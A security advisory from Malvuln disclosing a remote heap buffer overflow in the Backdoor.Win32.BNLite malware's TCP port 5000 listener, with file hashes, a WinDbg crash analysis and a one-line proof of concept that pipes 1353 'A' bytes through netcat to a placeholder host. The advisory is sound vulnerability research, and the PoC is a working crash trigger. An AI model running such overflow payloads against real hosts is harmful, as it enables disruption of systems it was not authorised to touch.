Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/9cec5a23887f0c73148ab3ea147a6fa4.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.BNLite Vulnerability: Remote Heap Based Buffer Overflow Description: The malware listens on TCP port 5000. Third party attackers who can reach the system can send a specially crafted payload to trigger a heap based buffer overflow overwriting the ECX, EDX and lower 16-bits (half) of EAX corrupting memory located on the heap. Type: PE32 MD5: 9cec5a23887f0c73148ab3ea147a6fa4 Vuln ID: MVID-2021-0429 Dropped files: BNLIMNL.exe ASLR: False DEP: False Safe SEH: True Disclosure: 12/16/2021 Memory Dump: (73c.9a4): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=41414141 esi=00000003 edi=00000003 eip=7770ed3c esp=0019f3b4 ebp=0019f544 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!ZwWaitForMultipleObjects+0xc: 7770ed3c c21400 ret 14h 0:000> .ecxr eax=00004141 ebx=024d4fc0 ecx=41414141 edx=41414141 esi=024d4fc8 edi=024a0000 eip=776e2d6a esp=0019fcf0 ebp=0019feb0 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010212 ntdll!RtlpAllocateHeap+0x37a: 776e2d6a 8b09 mov ecx,dword ptr [ecx] ds:002b:41414141=???????? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for BNLIMNL.exe *** ERROR: Module load completed but symbols could not be loaded for BNLIMNL.exe Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: ntdll!RtlpAllocateHeap+37a 776e2d6a 8b09 mov ecx,dword ptr [ecx] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 776e2d6a (ntdll!RtlpAllocateHeap+0x0000037a) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414141 Attempt to read from address 41414141 PROCESS_NAME: BNLIMNL.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 41414141 READ_ADDRESS: 41414141 FOLLOWUP_IP: BNLIMNL+1966 00401966 a3c6304000 mov dword ptr [BNLIMNL+0x30c6 (004030c6)],eax MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 000009a4 BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 776e16b7 to 776e2d6a STACK_TEXT: 0019feb0 776e16b7 00000449 00000458 024a6400 ntdll!RtlpAllocateHeap+0x37a 0019ff00 776e13ee 00100008 00000000 00000000 ntdll!RtlpAllocateHeapInternal+0x2b7 0019ff18 74a10cd4 024a0000 00100008 00000449 ntdll!RtlAllocateHeap+0x3e 0019ff68 00401966 00000040 00000449 0019ff94 KERNELBASE!GlobalAlloc+0x64 WARNING: Stack unwind information not available. Following frames may be wrong. 0019ff78 0040125b 0000035c 77408654 002f7000 BNLIMNL+0x1966 0019ff94 77704a77 002f7000 b7b1d83f 00000000 BNLIMNL+0x125b 0019ffdc 77704a47 ffffffff 77729edc 00000000 ntdll!__RtlUserThreadStart+0x2f 0019ffec 00000000 00401000 002f7000 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: !heap ; ~0s; .ecxr ; kb SYMBOL_STACK_INDEX: 4 SYMBOL_NAME: BNLIMNL+1966 FOLLOWUP_NAME: MachineOwner MODULE_NAME: BNLIMNL IMAGE_NAME: BNLIMNL.exe DEBUG_FLR_IMAGE_TIMESTAMP: 3aa07951 FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_FILL_PATTERN_41414141_c0000005_BNLIMNL.exe!Unknown BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_BNLIMNL+1966 Exploit/PoC: python -c "print('A'*1353)" | nc64.exe MALWARE_HOST 5000 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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